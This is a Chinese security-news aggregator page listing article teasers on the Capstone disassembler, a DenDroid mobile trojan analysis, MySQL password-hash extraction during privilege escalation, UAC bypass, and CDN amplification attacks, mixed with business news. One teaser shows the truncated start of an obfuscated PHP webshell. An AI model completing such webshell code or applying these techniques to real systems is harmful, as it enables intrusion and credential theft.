Capstone是一个轻量级的多平台多架构支持的反汇编框架。支持包括ARM，ARM64，MIPS和x86/x64平台。今天1.0版本正式向公众开放下载，可以在http://www.capstone-e...
神兵利刃
神兵利刃
风土人情
黑客游戏后续：从Goal游戏说起
几天前看到一个简而美的黑客编程游戏,于是乎就嚼了起来~，也拿给了同事瞅瞅。我把思路理清之后写的代码就很简洁明了，但是思路没有理清楚的话，就很难写出简洁的代码。理清需求，拆分大问题为小问题，是我想传达的...
针对超强手机木马DenDroid的分析与测试
关于Dendroid这款手机木马FreeBuf上曾有介绍《赛门铁克发现名为Dendroid的超强手机木马》，那么今天我们就来研究下这款号称需要300美元的手机远控木马...
mysql的user.MYD数据库连接密码hash值无法用winhex打开
提权时，当下载mysql的user.MYD数据库连接密码hash值无法用winhex等十六进制编辑器查看时： 停止mysql服务 将下载的user.MYD user.frm u...
脚本语言
12款优秀jQuery Ajax分页插件和教程
在这篇文章中，我为大家收集了12个基于 jQuery 框架的 Ajax 分页插件，这些插件都提供了详细的使用教程和演示。Ajax 技术的出现使得 Web 项目的用户体验有了极大的提高，如...
业界关注
埃森哲，三行业研报的十五个要点
虎嗅注：2014年5月19日、6月11日、6月30日，全球领先的管理咨询公司埃森哲先后发布《中国消费者洞察：金融行业篇》、《中国消费者洞察：通信、媒体与高科技行业篇》和《中国消费者洞察：消费品与零售篇...
WooYun-Drops
借用UAC完成的提权思路分享 – 猎豹科学院
http://drops.wooyun.org/tips/8989 0x00 背景 UAC(User Account Control，用户帐户控制)是微软为提高系统安全而在Windows Vista中...
WooYun-Drops
CDN流量放大攻击思路 – 囧思九千
http://drops.wooyun.org/papers/679 0x00 背景 大家好，我们是OpenCDN团队，专注于CDN技术的开发和研究。 首先，为了对CDN进行攻击，我们必须清楚CDN的...
神兵利刃
一个恶心的shell
<?php ${"\x47\x4cO\x42\x41L\x53"}="\x66\x75\x6ec"; ${"\x47\x4c\x4f\...
王长田的“脱胎换骨”：传光线传媒将解散电视团队
安云注：以电视节目起家的光线传媒，近年来在电影产业方面风生水起，多部华语卖座片均出自光线，或出品或发行，相形之下，承载往日荣耀的电视事业部却江河日下。去年曾孤注一掷豪赌《中国正在听》这档在央视播出的综...
